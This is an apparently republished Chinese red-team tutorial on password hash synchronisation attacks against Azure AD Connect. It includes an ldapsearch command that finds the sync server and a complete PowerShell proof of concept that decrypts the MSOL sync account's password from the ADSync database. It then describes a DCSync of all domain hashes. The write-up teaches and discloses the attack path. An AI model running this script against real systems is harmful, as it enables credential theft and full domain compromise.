密码哈希同步(PHS)攻击是针对 Azure Active Directory Connect 的网络攻击,Azure Active Directory Connect 是一种将本地 Active Directory (AD) 身份与 Azure Active Directory 同步的 Microsoft 工具
Azure AD Connect 简介
-
同步 (Synchronization): 负责创建用户、组和其他对象,并确保本地用户和组的身 份信息与云端保持一致。此同步过程还包括密码哈希。
-
密码哈希同步 (Password Hash Synchronization, PHS): 一种登录方法,将用户本 地 AD 密码的哈希值与 Microsoft Entra ID 同步。
-
直通身份验证 (Pass-Through Authentication, PTA): 允许用户使用相同的密码登 录本地和云应用程序,密码验证直接针对本地 AD 进行。
-
联合身份验证集成 (Federation Integration, AD FS): Azure AD Connect 的一个可 选部分,可用于通过本地 AD FS 基础架构配置混合环境。它还提供 AD FS 管理功能, 例如证书续订和额外的 AD FS 服务器部署。
-
运行状况监控 (Azure AD Connect Health): 提供与同步相关的性能指标和状态监控 ,例如同步错误、同步状态和使用情况监控。
Azure AD Connect 中的关键账户
Azure AD Connect 快速安装过程将在本地 AD 和 Azure AD 中创建多个帐户。这些账户很容易成为攻击者提供深入利用混合身份环境的跳板。
-
AD DS 连接器帐户
此账户通常命名为 MSOL_<随机字符>。由 Azure AD Connect 用于读取和写入本地 Active Directory 的信息,拥有复制目录更改、修改密码、修改用户等权限。
-
Azure AD 连接器帐户
此账户也被称为Entra ID同步账户,通常命名为 Sync_[ServerName]_,
此账户权限较高,通常是“目录同步账户”角色的成员,甚至可能是“混合身份管理员”。
利用密码哈希同步(PHS)攻击AD
如前所述,Azure AD Connect 会自动创建两个同步帐户:
-
Active Directory 中的 MSOL_deeb213ff4bb
-
Azure AD 中的 Sync_SYNC01_deeb213ff4bb
在这个示例中,SYNC01 是安装了 Azure AD Connect 的本地服务器的主机名, deeb213ff4bb 是一个 ID,它会根据每个环境而变化。
为了执行同步,两个帐户需要在两个环境中都拥有高权限 。由于帐户负责将用户密码哈希发送到云端, 因此该用户拥有该域的复制权限 。
该帐户能够复制所有域用户的哈希值,这使得它成为混合域环境中的高价值目标。
如何获取到它们的密码?
第一步是找到安装了 Azure AD Connect 的服务器。微软通过将同步服务器名称和相应的 Azure AD 租户添加到 MSOL 用户的 LDAP 描述中,简化了我们的任务。域中任何经过身份验证的用户都可以查询它,如下所示:
$ ldapsearch -H ldap://DC01.GOTHAM.LAB:389 -D "GOTHAMjoker" -w "****" -b "DC=GOTHAM,DC=LAB" '(description=*Azure*)' description
[...]
# MSOL_deeb213ff4bb, Users, gotham.lab
dn: CN=MSOL_deeb213ff4bb,CN=Users,DC=gotham,DC=lab
description: Account created by Microsoft Azure Active Directory Connect with installation identifier deeb213ff4bb47019f657e127eadecea running on computer SYNC01 configured to synchronize to tenant gothamlab.onmicrosoft.com. This account must have directory replication permissions in the local Active Directory and write permission on certain attributes to enable Hybrid Deployment.
识别服务器后,我们需要一个本地管理员帐户或 ADSync 服务帐户,以便与 Azure AD Connect 数据库交互。
实际上,此数据库存储了 MSOL 帐户密码的加密版本,可以使用
C:Program FilesMicrosoft Azure AD SyncBinnmcrypt.dll 和
NT SERVICEADSync DPAPI 密钥解密。
NT SERVICEADSync 是一个虚拟帐户,因此不需要任何密码管理。但是,虚拟帐户拥有 DPAPI 密钥,允许它们使用凭据管理器。
这个主题比较复杂,感兴趣的读者可以自行阅读这篇文章,其中深入探讨了 DPAPI 的工作原理:https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/
同时,Adam Chester在他的博客文章(https://blog.xpnsec.com/azuread-connect-for-redteam/)中深入解释了整个攻击过程,并提供了解密此密码的 POC
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb).ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
add-type -path 'C:Program FilesMicrosoft Azure AD SyncBinmcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
在如下用于演示的 LAB 环境中,使用了 GOTHAMbruce.wayne 帐户,该帐户是所有服务器的本地管理员:
Azure AD Connect 的默认配置使用 SQL Server Express 数据库,但也可以使用完全部署的 SQL Server。在这种情况下,必须将 POC 中的连接字符串替换为以下内容:
"Server=LocalHost;Database=ADSync;Trusted_Connection=True;"
有一个工具是 adconnectdump ,它允许通过网络转储这些凭据。
这种技术相当隐蔽,在最新的 Windows Defender中 ,它也无法将其识别为恶意行为。如果在服务器上拥有本地管理员帐户,则还可以在 lsass.exe 进程的内存中检索 MSOL 密码。
但是,这种操作在面对经验丰富的蓝队会显得非常可疑,他们很容易观察到这些异常行为。例如,使用 mimikatz 从 lsass 内存中提取 MSOL 密码:
使用新获得的 MSOL 帐户,现在可以执行DCSync 并复制所有域用户的密码哈希:
注意这个帐户在云AD中也是有效的,并且具有很高的特权。
此场景是在混合域中通往域管理员的一条值得注意的途径,因为 Azure AD 同步服务器通常比域控制器的保护更少,因此,在红队行动中应该更容易成为这些服务器的管理员。
原文始发于微信公众号(WH0secLab):【域渗透】混合域环境中的密码哈希同步攻击(PHS)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论